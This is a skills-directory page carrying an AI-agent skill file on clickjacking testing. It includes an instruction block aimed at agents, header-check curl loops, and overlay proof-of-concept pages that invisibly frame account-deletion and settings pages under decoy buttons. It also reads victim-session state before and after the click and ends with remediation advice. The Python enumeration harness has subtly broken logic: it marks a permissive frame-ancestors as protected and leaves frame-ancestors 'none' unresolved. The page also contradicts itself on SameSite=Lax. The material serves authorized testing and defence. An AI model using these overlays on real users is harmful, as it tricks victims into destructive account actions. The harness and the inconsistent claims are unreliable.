Skip to content
Back to skills

Clickjacking

ASecurity

Clickjacking and UI redressing — frame-embedding, X-Frame-Options gaps, and the click-hijack chains

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 11, 2026
securityjavascriptpythonrustgojavabashtestinggitapisecurity

Works with

  • cursor
  • cli
  • api

Security analysis

A96/100
  • mediumUses curl or wget to download content

Pro shows the line behind each finding and how to fix it

Scanned November 11, 2026

npx -y skills add harezadmm/omp-enhanced --skill clickjacking --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Clickjacking?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Clickjacking
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/harezadmm-clickjacking/badge)](https://www.skillsdirectory.com/skills/harezadmm-clickjacking)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: clickjacking
description: "Clickjacking and UI redressing — frame-embedding, X-Frame-Options gaps, and the click-hijack chains"
category: "web-application"
version: "1.1"
author: "cyberstrike-official"
tags:
  - clickjacking
  - ui-redressing
  - web
  - browser
  - attack
tech_stack:
  - web
cwe_ids:
  - CWE-1021
chains_with:
  - crlf-injection
  - attack-cors
prerequisites: []
severity_boost:
  attack-cors: "Combined with a same-origin trust assumption, framing enables privileged actions"
  crlf-injection: "Injecting X-Frame-Options away removes the only control"
---

# Clickjacking and UI Redressing

> **AI LOAD INSTRUCTION**: The modern reality check comes first: **`SameSite=Lax` — the default
> in every current browser — neutralises most clickjacking against session-cookie
> applications.** A cross-site iframe does not carry `Lax` cookies, so the framed page renders
> logged out and there is nothing to hijack. **Check the cookie attributes before claiming
> impact.**
>
> Clickjacking remains a real finding in these cases: the site sets `SameSite=None`, it
> authenticates with a token in `localStorage` (which the iframe still carries), the action is
> on a page reachable while logged out, or the frame is used for a *different* purpose such as
> UI redressing to trigger an unintended interaction (drag-and-drop exfiltration, permission
> prompts, OAuth consent).
>
> The other half of the skill is testing the protection properly. `X-Frame-Options: ALLOW-FROM`
> is **dead** — no current browser supports it. `frame-ancestors` in a CSP supersedes
> `X-Frame-Options` where both are present. And a `DENY` on one endpoint does not protect the
> endpoint you actually care about.

## 0. RELATED ROUTING

- [clickjacking](../clickjacking/SKILL.md) — the long-form companion; load alongside this file
- [attack-cors](../attack-cors/SKILL.md) — the related origin-trust gap with a different mechanism
- [csrf-cross-site-request-forgery](../csrf-cross-site-request-forgery/SKILL.md) — the write-side sibling
- [crlf-injection](../crlf-injection/SKILL.md) — injecting the protecting header away
- [oauth-oidc-misconfiguration](../oauth-oidc-misconfiguration/SKILL.md) — consent-screen framing
- [security-reporting-and-documentation](../security-reporting-and-documentation/SKILL.md) — proving a working PoC, not just a missing header

---

## 1. CHECKING THE PROTECTION

**The response headers that matter:**

```bash
curl -s -I https://TARGET/account/settings | grep -iE 'x-frame-options|content-security-policy|set-cookie'
```

| Header value | Verdict |
|---|---|
| `X-Frame-Options: DENY` | protected |
| `X-Frame-Options: SAMEORIGIN` | protected from cross-origin framing |
| `X-Frame-Options: ALLOW-FROM https://x` | **no protection** — unsupported by all current browsers |
| `Content-Security-Policy: frame-ancestors 'none'` | protected |
| `Content-Security-Policy: frame-ancestors 'self'` | protected cross-origin |
| CSP present **without** `frame-ancestors` | **not protected** — CSP does not imply frame protection |
| no relevant header at all | **framable** |

**Two traps to avoid:**

**Trap 1 — `frame-ancestors` supersedes `X-Frame-Options`.** If both are present and disagree,
the CSP wins in any browser that supports CSP `frame-ancestors` (all current browsers). A
report claiming vulnerability because `X-Frame-Options` is absent, while a strict
`frame-ancestors` is set, is wrong.

**Trap 2 — protection is per-endpoint.** Checking the homepage and concluding the site is
protected misses the settings page, the payment confirmation, and the OAuth consent screen.
**Enumerate the sensitive endpoints and check each one.**

**Then check the cookies — this decides whether it matters:**

```bash
curl -s -I https://TARGET/login | grep -i set-cookie
# Set-Cookie: session=...; Path=/; HttpOnly; Secure; SameSite=Lax
```

| `SameSite` | Impact of framing |
|---|---|
| `Strict` | neutralised |
| `Lax` (browser default) | **neutralised for cross-site framing** |
| `None` | **exploitable** |
| absent, older browser | exploitable |

---

## 2. THE PoC

**A minimal framing test:**

```html
<!doctype html>
<html>
<head><title>Proof</title></head>
<body>
  <h1>Clickjacking proof — ltx-canary</h1>
  <iframe src="https://TARGET/account/settings" width="1000" height="700"></iframe>
</body>
</html>
```

**If the page renders inside the frame, it is framable.** If it renders blank, the frame was
blocked (or the page is `X-Frame-Options: DENY`).

**Confirm the frame actually loaded** rather than rendering an empty box:

```javascript
const f = document.querySelector('iframe');
f.onload = () => {
  try {
    // Cross-origin access throws — that is expected and means it loaded cross-origin
    f.contentDocument;
  } catch (e) {
    console.log('frame loaded cross-origin (access blocked, as expected)');
  }
};
```

**The decisive test is whether the victim's session is present inside the frame.** Check by
framing a page that displays the user's name or email. If it shows the victim's data, the
session carried; if it shows a login prompt, `SameSite` blocked it and there is no finding.

**That single observation settles the severity.** Do it before writing anything else.

---

## 3. THE OVERLAY PoC

A real clickjacking PoC places an invisible frame over an attractive decoy so the victim's
click lands on the framed control.

```html
<!doctype html>
<html>
<head>
<style>
  #decoy { position:absolute; top:0; left:0; z-index:1; }
  #victim {
    position:relative; width:1000px; height:700px; opacity:0.0001;
    z-index:2; border:0;
  }
</style>
</head>
<body>
  <div id="decoy">
    <h1>Click the button to claim your prize</h1>
    <button style="margin-top:400px">CLAIM NOW</button>
  </div>
  <iframe id="victim" src="https://TARGET/account/settings"></iframe>
</body>
</html>
```

**Position the frame so the target control sits under the decoy button.** The technique is
precision, not trickery — align the invisible control with the visible decoy using the
application's own layout.

**`opacity: 0.0001` rather than `0`** — some browsers ignore hidden iframes for interaction.

**For a proven finding, show the effect:** the action executed (email changed, setting toggled)
after a click intended for the decoy. A screenshot of the overlay alone is not proof; the
resulting state change is.

---

## 4. HIGHER-VALUE VARIANTS

Standard clickjacking is well-defended. These variants are why the class is still reported.

| Variant | Mechanism |
|---|---|
| **OAuth consent framing** | frame the consent screen so the victim authorises your client without realising |
| **Permission prompt framing** | frame a camera/microphone/notification prompt; the click grants it |
| **Drag-and-drop exfiltration** | frame a page and use `dragstart` to move selected text into an attacker-controlled field |
| **Double-click / multi-step** | chain two clicks across a legitimate flow |
| **Likejacking / sharejacking** | frame a social action button |
| **File-upload clickjacking** | frame the upload control so the victim uploads a file you chose |
| **Cursor spoofing** | a fake cursor image makes the visible position differ from the real one |
| **Same-origin cascading** | frame a same-origin page you control inside the target's frame; it inherits the target's origin |

**Drag-and-drop exfiltration is worth a specific mention** because it bypasses the need for a
click on a specific control — the victim's own drag gesture moves data:

```javascript
// On the attacker page: a text field the victim will drag content into
// The framed target's selected content can be dragged into it and captured.
document.addEventListener('drag', e => { /* capture the dragged data */ });
```

**Mobile and touch variants** — touch events do not have a hover state, so a tap can trigger a
control the user never saw highlighted. Test on a touch device where the application is
mobile-facing.

---

## 5. WHAT CONSTITUTES A FINDING

| Finding | Severity | Proof required |
|---|---|---|
| Framing enables a state-changing action with the victim's session | **High (P2)** | the PoC and the resulting state change |
| OAuth consent screen framable, enabling client authorization | **High (P2)** | the framed consent and the resulting grant |
| Permission prompt framable (camera, notifications) | **Medium–High (P3/P2)** | the framed prompt and the granted permission |
| Drag-and-drop exfiltration demonstrated | **Medium (P3)** | the captured content |
| Endpoint framable, session present, no demonstrated action | **Medium (P3)** | the frame with the victim's session visible |
| Endpoint framable, no session (cookies blocked) | **Low–Informational (P5)** | the frame with the login prompt |
| `ALLOW-FROM` used as the only protection | **Medium (P3)** | the header and a working frame |
| Missing header on a public, non-interactive page | **Informational (P5)** | the header |

**Severity follows the action, not the header.** A framable page with no sensitive action is
not a high finding.

---

## 6. EVIDENCE STANDARD

| Item | Why |
|---|---|
| the response headers for the specific endpoint | `X-Frame-Options`, `frame-ancestors`, `SameSite` |
| the PoC HTML | reproduces the framing |
| **a screenshot showing the victim's session content inside the frame** | proves the session carried |
| the `SameSite` attribute from `Set-Cookie` | the control that decides exploitability |
| the resulting state change after the click | the impact proof |
| for OAuth: the framed consent and the resulting authorization | the chain |
| browser and version | framing behaviour varies; establishes reproducibility |
| a **control**: a correctly protected endpoint refusing to frame | proves you can detect protection |

**The screenshot showing the victim's own data inside the frame is the finding.** A blank
frame or a login prompt is not.

**False positives to exclude:**

| Looks like clickjacking | Actually |
|---|---|
| the page is framable but the session cookie is `SameSite=Lax` | no session in the frame |
| the frame renders a login page | not authenticated inside the frame |
| `frame-ancestors` is set and you only checked `X-Frame-Options` | it is protected |
| the page has no sensitive action | no impact |
| `X-Frame-Options: ALLOW-FROM` on a modern browser | treated as unprotected, but verify the frame loads |
| the browser blocked third-party cookies | the session never reaches the frame |
| a screenshot of the overlay with no resulting action | no proven effect |

---

## 7. REMEDIATION REFERENCE

1. **Send `Content-Security-Policy: frame-ancestors 'none'`** — the modern, authoritative control. Use `'self'` only where the application genuinely frames itself.
2. **Keep `X-Frame-Options: DENY` or `SAMEORIGIN` as well** — for older clients that do not implement `frame-ancestors`. Do not use `ALLOW-FROM`; it is unsupported.
3. **Apply the header on every response, not only HTML** — a JSON or error response that renders in a frame is still a framing surface.
4. **Set session cookies `SameSite=Lax` or `Strict`, `HttpOnly`, `Secure`** — this is the control that neutralises clickjacking of authenticated actions, and it is the highest-value fix because it survives a missing frame header.
5. **Require confirmation for sensitive actions** — re-authentication, a typed confirmation, or a CSRF token makes a single click insufficient regardless of framing.
6. **Use a frame-busting defence only as a supplement** — JavaScript frame busting is bypassable (`sandbox` attributes, double framing) and must never be the primary control.
7. **Validate the `Origin`/`Referer` on sensitive state-changing requests** — an action initiated from a framed page carries a foreign `Origin`, which is a reliable signal.
8. **Cover consent and permission screens explicitly** — OAuth consent, permission prompts, and payment confirmations are the highest-value framing targets and are frequently overlooked when headers are applied only to the main application.

---

## 8. CONFIRMING THE FINDING

| Step | Question | What it proves |
|---|---|---|
| 1 | Does the framing protection exist - and did you **test the control with it working**? | the missing header is the cause |
| 2 | Did you **complete a state-changing action** in the framed page, seen from the victim's session? | impact, not embeddability |
| 3 | Was there a **user action** in the chain (a click, a drag, a key sequence)? | the attack's practical difficulty |
| 4 | Is the target page **authenticated and state-changing**, or a static page? | whether it matters |
| 5 | Did the browser **actually render** the frame, at a usable size and opacity? | embeddability is visual, not header-only |
| 6 | Did you test **`frame-ancestors`** as well as `X-Frame-Options`, since CSP overrides XFO? | the policy's real state |
| 7 | Did your PoC page require **no scripting in the target page**? | a UI-redress attack, not an XSS chain |

**A completed state-changing action seen from the victim's session is the bar.** A page that merely
renders in an iframe is a header observation unless the client's threat model makes framing itself
meaningful.

---

## 9. EXECUTION PRIMITIVES

Clickjacking is proven by **a state-changing action completed in a framed, authenticated page with a
recorded before/after state**. Every block ends at a server-side state change.

### 9.1 The framing-control pair

```bash
HOST="https://target.example"
# THE CONTROL: a page the client protects - it must refuse framing
curl -sS -D- -o /dev/null "$HOST/settings" 2>&1 | grep -iE 'x-frame-options|content-security-policy|frame-ancestors'
# THE CANDIDATE: the state-changing page - the headers that decide the finding
curl -sS -D- -o /dev/null "$HOST/account/delete" 2>&1 | grep -iE 'x-frame-options|content-security-policy|frame-ancestors'
curl -sS -D- -o /dev/null "$HOST/api/v1/transfer" 2>&1 | grep -iE 'x-frame-options|content-security-policy'
# and the CSP's frame-ancestors, which OVERRIDES X-Frame-Options when both are present
curl -sS -D- -o /dev/null "$HOST/account/delete" 2>&1 | grep -io "frame-ancestors[^;]*"
```

**`frame-ancestors` overrides `X-Frame-Options`.** A page with a permissive `frame-ancestors` and a
restrictive `X-Frame-Options` is framable, and a report that reads only the XFO header gets it backwards.

### 9.2 The verification page, with the action and the before/after

```html
<!-- save as clickjank.html, serve from your origin, open in a browser where the victim is logged in -->
<html><head><style>
  iframe { position:absolute; top:0; left:0; width:1000px; height:800px; opacity:0.0001; z-index:2; border:0; }
  .bait  { position:absolute; top:340px; left:400px; z-index:1; font-size:28px; }
</style></head><body>
  <div class="bait">Click to continue</div>
  <iframe src="https://target.example/account/delete"></iframe>
</body></html>
```

```bash
# THE BEFORE: the state the action will change, recorded server-side before the PoC is opened
curl -sS -H "Cookie: $VICTIM_SESSION" "https://target.example/api/v1/account" | head -c 300; echo
# ... open clickjank.html in the victim's authenticated browser and click the bait ...
# THE AFTER: the same API read again - the change is the finding
curl -sS -H "Cookie: $VICTIM_SESSION" "https://target.example/api/v1/account" | head -c 300; echo
# and the audit record the action produced, which ties it to the victim's session
curl -sS -H "Cookie: $VICTIM_SESSION" "https://target.example/api/v1/audit?limit=5" | head -c 400; echo
```

**The before/after pair on a server-side read is the evidence.** Header absence is a precondition; the
account state changing after the victim's click is the finding.

### 9.3 The interaction requirements, quantified for the report

```html
<!-- drag-and-drop, for actions that require a drag rather than a click -->
<html><head><style>
  #frame { position:absolute; width:900px; height:700px; opacity:0.0001; z-index:2; border:0; }
  #drag  { position:absolute; top:300px; left:350px; width:120px; height:40px; background:#eee; z-index:1; }
</style></head><body>
  <div id="drag">Drag this to the target</div>
  <iframe id="frame" src="https://target.example/settings/security"></iframe>
</body></html>
```

```python
# the report must state the interaction the attack needs - it determines the practical difficulty
print("Record for each finding:")
for row in ["the action performed (a delete, a transfer, a permission change)",
            "the exact interaction: one click, a drag from A to B, or a typed sequence",
            "whether the page can be framed at the required size (some are width-limited)",
            "whether the action requires a confirm dialog the attacker cannot dismiss",
            "whether a CSRF token is read from the page (which would break a blind frame)",
            "the victim's required state: authenticated, and on which session"]:
    print("  -", row)
print()
print("A finding that requires the victim to solve a CAPTCHA, dismiss a dialog, or type a secret")
print("is not a clickjacking finding - it is an interaction the attacker cannot force.")
```

**The interaction requirement belongs in the report.** A one-click delete and a seven-step drag are not
the same finding, and the client's risk decision depends on which one it is.

### 9.4 The header-only cases and their honest reporting

```bash
HOST="https://target.example"
# what the site actually protects, enumerated - this is the report's real content
for p in / /login /settings /account/delete /account/transfer /admin /oauth/authorize; do
  H=$(curl -sS -D- -o /dev/null "$HOST$p" 2>/dev/null)
  XFO=$(printf '%s' "$H" | grep -i '^x-frame-options' | tr -d '\r' | head -1)
  FA=$(printf '%s' "$H" | grep -io 'frame-ancestors[^;]*' | head -1)
  printf '%-22s xfo=%-34s fa=%s\n' "$p" "${XFO:-<none>}" "${FA:-<none>}"
done
# and the JS frame-busting, which is bypassable and must not be reported as a control
curl -sS "$HOST/settings" | grep -oiE 'top *[!=]= *self|top\.location|frameElement' | head -3
```

**JavaScript frame-busting is not a control.** Report it as a bypassable mitigation, and note that
`X-Frame-Options: DENY` or a `frame-ancestors` directive is the fix - a script check is defeated by
`<iframe sandbox="allow-forms">` and by disabling script execution in the framed context.

### 9.5 The end-to-end harness

```bash
python3 - <<'PY'
import requests
HOST = "https://target.example"
PATHS = ["/", "/login", "/settings", "/account/delete", "/account/transfer", "/oauth/authorize"]
print("%-22s %-20s %-30s %-14s %s" % ("path", "x-frame-options", "frame-ancestors", "js-busting", "verdict"))
for p in PATHS:
    try:
        r = requests.get(f"{HOST}{p}", timeout=10)
        xfo = r.headers.get("X-Frame-Options", "<none>")
        csp = r.headers.get("Content-Security-Policy", "")
        fa = "<none>"
        for part in csp.split(";"):
            if "frame-ancestors" in part: fa = part.strip()
        js = bool(__import__("re").search(r"top\s*[!=]=\s*self|frameElement", r.text))
        protected = xfo.upper() in ("DENY", "SAMEORIGIN") or fa not in ("<none>", "frame-ancestors 'none'")
        weak = fa == "" and xfo == "<none>"
        v = "FRAMABLE" if xfo == "<none>" and fa == "<none>" else ("protected" if protected else "inspect")
        print("%-22s %-20s %-30s %-14s %s" % (p, xfo, fa, js, v))
    except Exception as e:
        print("%-22s ERROR %s" % (p, type(e).__name__))
print()
print("Remember: frame-ancestors in a CSP OVERRIDES X-Frame-Options. Read both, and report the pair.")
print("Then report only paths that are FRAMABLE, authenticated, and state-changing.")
PY
```

**Read both headers, report the pair.** The enumeration is the report's table, and the state-changing
filter is what turns it from a header inventory into a finding.

---

## 10. EVIDENCE STANDARD — FRAMING ARTEFACTS

| Item | Why |
|---|---|
| The **response headers** for the target path (`X-Frame-Options` and `frame-ancestors`) | the precondition |
| The **headers for a protected path** | the control |
| The **PoC page**, self-contained and reproducible | the deliverable |
| The **server-side state change**, read before and after | impact |
| The **exact interaction required** (one click, a drag, a sequence) | the practical difficulty |
| That the victim was **authenticated in the framed context** | the precondition for impact |
| The **audit record** tying the action to the victim's session | the blue-team half |
| Whether the page uses **`X-Frame-Options` only, CSP only, or both** | the fix location |
| Whether a **JS frame-buster** exists and how it was bypassed | a bypassable mitigation, state it as such |
| Confirmation that no **victim action was performed outside the agreed scope** | engagement integrity |

Report the **header pair, the interaction, and the state change**: "`GET /account/delete` returns no
`X-Frame-Options` and no `frame-ancestors` directive, where `GET /settings` returns `X-Frame-Options:
DENY`, which is the control. A page served from `attacker.example` framed `/account/delete` at full
size with the frame at 0.001 opacity, and a single click on the decoy element completed the deletion;
the account state read before the click showed `{\"deleted\":false}` and after showed
`{\"deleted\":true}`, and the audit log records the action against the victim's session from a referer of
the attacker origin. The interaction required is one click with no dialog", never "the site is missing
X-Frame-Options".

### False positives - do not report these

| Observation | Why it is not a finding |
|---|---|
| A missing header on a **static or public page** | framing it changes nothing |
| A missing header with **no state-changing action** | embeddability without impact |
| A page protected by **`frame-ancestors` but not XFO** | it is protected; CSP overrides |
| A page with **`X-Frame-Options: ALLOW-FROM`** | deprecated and ignored by modern browsers - verify in a browser |
| A JS frame-buster bypass you did **not actually bypass** | an untested claim |
| A page that frames but whose action needs **a dialog or a CAPTCHA** | the attacker cannot force it |
| A finding that requires the victim to **type a secret** | not a UI-redress attack |
| An action that is **read-only** | no state change, no impact |
| A header inventory with **no PoC and no interaction** | an observation, not a finding |
| A finding on a page that **requires an admin session you hold** | check whose session it needs |
| A victim's personal data reproduced in full | a disclosure |

**A state change with the header control.** This family is reported from header inventories more than any
other; the state change and the interaction requirement are what make it a finding.

---

## 11. REMEDIATION REFERENCE — FRAMING HARDENING

1. **Send `Content-Security-Policy: frame-ancestors 'none'` (or a specific allowlist) on every authenticated response** - it is the modern control and it overrides `X-Frame-Options`.
2. **Send `X-Frame-Options: DENY` as well, for older clients** - the pair covers the browser population without relying on one mechanism.
3. **Require a user gesture that cannot be synthesised for destructive actions: a typed confirmation, a re-authentication, or a non-frameable confirmation page** - it breaks the attack at the interaction step.
4. **Mark session cookies `SameSite=Lax` or `Strict`** - it does not stop framing, but it limits the cross-site request context the frame relies on.
5. **Never rely on a JavaScript frame-buster** - it is defeated by a sandboxed iframe and by disabling script execution; use a header.
6. **Apply the headers to `404` and error pages as well as the application pages** - error pages are frequently unprotected and they reveal the frameability of the session.
7. **Require a fresh CSRF token tied to a user gesture for state-changing requests** - a blind framed request cannot read the page's token.
8. **Use a `Content-Security-Policy` `sandbox` directive on any page that embeds third-party content** - it prevents the embedded content from initiating the attack in the other direction.
9. **Log and alert on state-changing requests whose `Referer` is a foreign origin** - the framed attack sends a referer from the attacker's page in most configurations.
10. **Test frameability as part of the release pipeline, with both headers asserted on every authenticated route** - it is a single assertion per route and it is rarely covered.
11. **Present destructive actions on their own page with no adjacent clickable area, and prefer a multi-step confirmation** - it makes the overlay attack require an interaction the attacker cannot force.

---

## 12. RELATED SIBLINGS - LOAD TOGETHER

- [csrf-cross-site-request-forgery](../csrf-cross-site-request-forgery/SKILL.md) - the request-forgery theory this shares
- [dangling-markup-injection](../dangling-markup-injection/SKILL.md) - the read-side technique where framing is unavailable
- [cors-cross-origin-misconfiguration](../cors-cross-origin-misconfiguration/SKILL.md) - the other browser-enforced trust boundary
- [csp-bypass-advanced](../csp-bypass-advanced/SKILL.md) - how a CSP's other directives are bypassed
- [clickjacking](../clickjacking/SKILL.md) - this document

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.